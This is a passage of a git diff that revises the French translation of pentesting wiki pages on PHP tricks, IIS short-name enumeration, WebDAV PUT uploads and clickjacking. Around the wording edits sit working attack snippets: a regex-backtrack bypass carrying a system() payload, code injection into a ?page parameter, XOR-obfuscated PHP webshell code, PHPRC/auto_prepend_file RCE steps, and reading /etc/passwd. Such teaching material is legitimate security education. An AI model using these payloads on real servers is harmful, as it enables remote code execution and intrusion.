courts +### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette **technique**.\ La principale limitation de cette technique si le serveur est vulnérable est qu'elle **ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers. diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index a4b0c2acc..748921747 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -4,7 +4,7 @@ ## Emplacement commun des cookies : -Ceci est également valable pour les cookies phpMyAdmin. +Ceci est également valable pour les cookies de phpMyAdmin. Cookies : ``` @@ -62,9 +62,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` La même erreur se produit avec `strcasecmp()` -### Juggling de types strict +### Conversion stricte de types -Même si `===` est **utilisé**, il pourrait y avoir des erreurs qui rendent la **comparaison vulnérable** au **juggling de types**. Par exemple, si la comparaison **convertit les données en un type d'objet différent avant de comparer** : +Même si `===` est **utilisé**, il pourrait y avoir des erreurs qui rendent la **comparaison vulnérable** à la **conversion de types**. Par exemple, si la comparaison **convertit les données en un type d'objet différent avant de comparer** : ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencodées** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** : +Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencoded** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** : ```php { "cmd": "cat /etc/passwd" @@ -110,13 +110,13 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
-En résumé, le problème se produit parce que les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile. +En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile. -[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où ce problème est discuté plus en profondeur. Notre tâche était maintenant claire :\ +[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\ **Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system()}` pour obtenir SSTI --> RCE --> flag :)**. Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le stipule la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut à 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ -Pour atteindre cela, `'X'*500_001` donnera 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) : +Pour atteindre cela, `'X'*500_001` donnera lieu à 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) : ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -153,7 +153,7 @@ Check: ## More tricks -- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou leur comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code. +- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code. - Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\ De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). - Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\** pour voir si les répertoires php sont activés. @@ -170,13 +170,13 @@ False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` -### Contournement des en-têtes HTTP en abusant des erreurs PHP +### HTTP headers bypass abusing PHP errors -#### Provoquer une erreur après avoir défini des en-têtes +#### Causing error after setting headers -Depuis [**ce fil Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19), vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir d'en-têtes dans la réponse. +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir les en-têtes dans la réponse. -Cela permet de contourner, par exemple, les en-têtes CSP qui sont définis dans des codes comme : +Permettant de contourner par exemple les en-têtes CSP définis dans des codes comme : ```php Dans ce cas, pour obtenir **RCE**, vous pourriez faire : ``` ?page=a','NeVeR') === false and system('ls') and strpos('a @@ -276,7 +276,7 @@ Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/w Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que avec plus de recherche cela puisse peut-être être contourné), vous pourriez abuser de ce comportement pour obtenir **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela puisse ne pas fonctionner). -- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour pointer PHP vers celui-ci. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code. +- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour indiquer à PHP de l'utiliser. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code. 1. Téléchargez un fichier PHP contenant notre shellcode 2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1 3. Définissez la variable `PHPRC` sur le fichier que nous avons téléchargé à l'étape 2. @@ -311,14 +311,14 @@ phpinfo(); ``` ## Contournement de la sanitation PHP & Brain Fuck -[**Dans cet article**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP Brain Fuck avec très peu de caractères autorisés.\ +[**Dans cet article**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP brain fuck avec très peu de caractères autorisés.\ De plus, une manière intéressante d'exécuter des fonctions qui leur a permis de contourner plusieurs vérifications est également proposée : ```php (1)->{system($_GET[chr(97)])} ``` ## Analyse statique de PHP -Regardez si vous pouvez insérer du code dans les appels à ces fonctions (depuis [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): +Regardez si vous pouvez insérer du code dans les appels à ces fonctions (de [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents @@ -328,7 +328,7 @@ Si vous déboguez une application PHP, vous pouvez activer globalement l'impress ### Déobfuscation de code PHP -Vous pouvez utiliser le **web**[ **www.unphp.net**](http://www.unphp.net) **pour déobfusquer le code php.** +Vous pouvez utiliser le **web**[ **www.unphp.net**](http://www.unphp.net) **pour déobfusquer du code php.** ## Wrappers et Protocoles PHP @@ -373,9 +373,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3 $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` -### Code shell XOR facile +### XOR easy shell code -Selon [**ce rapport** ](https://mgp25.com/ctf/Web-challenge/)il est possible de générer un code shell facile de cette manière : +Selon [**cet article** ](https://mgp25.com/ctf/Web-challenge/)il est possible de générer un shellcode facile de cette manière : ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 14207bfca..53084d839 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Lorsqu'on traite avec un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**. +Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**. L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, avec [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir. @@ -10,7 +10,7 @@ Pour contourner les restrictions sur les téléchargements de fichiers, en parti - **Télécharger** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint. - **Renommer** des fichiers non exécutables téléchargés (comme .txt) en une extension exécutable. -- **Copier** des fichiers non exécutables téléchargés, en changeant leur extension en une qui est exécutable. +- **Copier** des fichiers non exécutables téléchargés, en changeant leur extension en une extension exécutable. ## DavTest @@ -48,7 +48,7 @@ Ensuite, vous pouvez **télécharger** votre shell en tant que ".**txt" file** e ## Post credentials Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Communément :\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ À l'intérieur, vous pourriez trouver quelque chose comme : ``` @@ -61,7 +61,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Comme vous pouvez le voir, il y a des fichiers avec les **identifiants** valides pour le serveur **webdav** : +Comme vous pouvez le voir, il y a des fichiers avec les **credentials** valides pour le serveur **webdav** : ``` /etc/apache2/users.password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 382173417..78eaad0fe 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,7 +4,7 @@ ## Qu'est-ce que le Clickjacking -Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non intentionnelles pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits. +Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits. ### Astuce de préremplissage de formulaires @@ -34,7 +34,7 @@ z-index: 1;
Click me
``` -### Charge utile multistep +### Charge utile en plusieurs étapes ```markup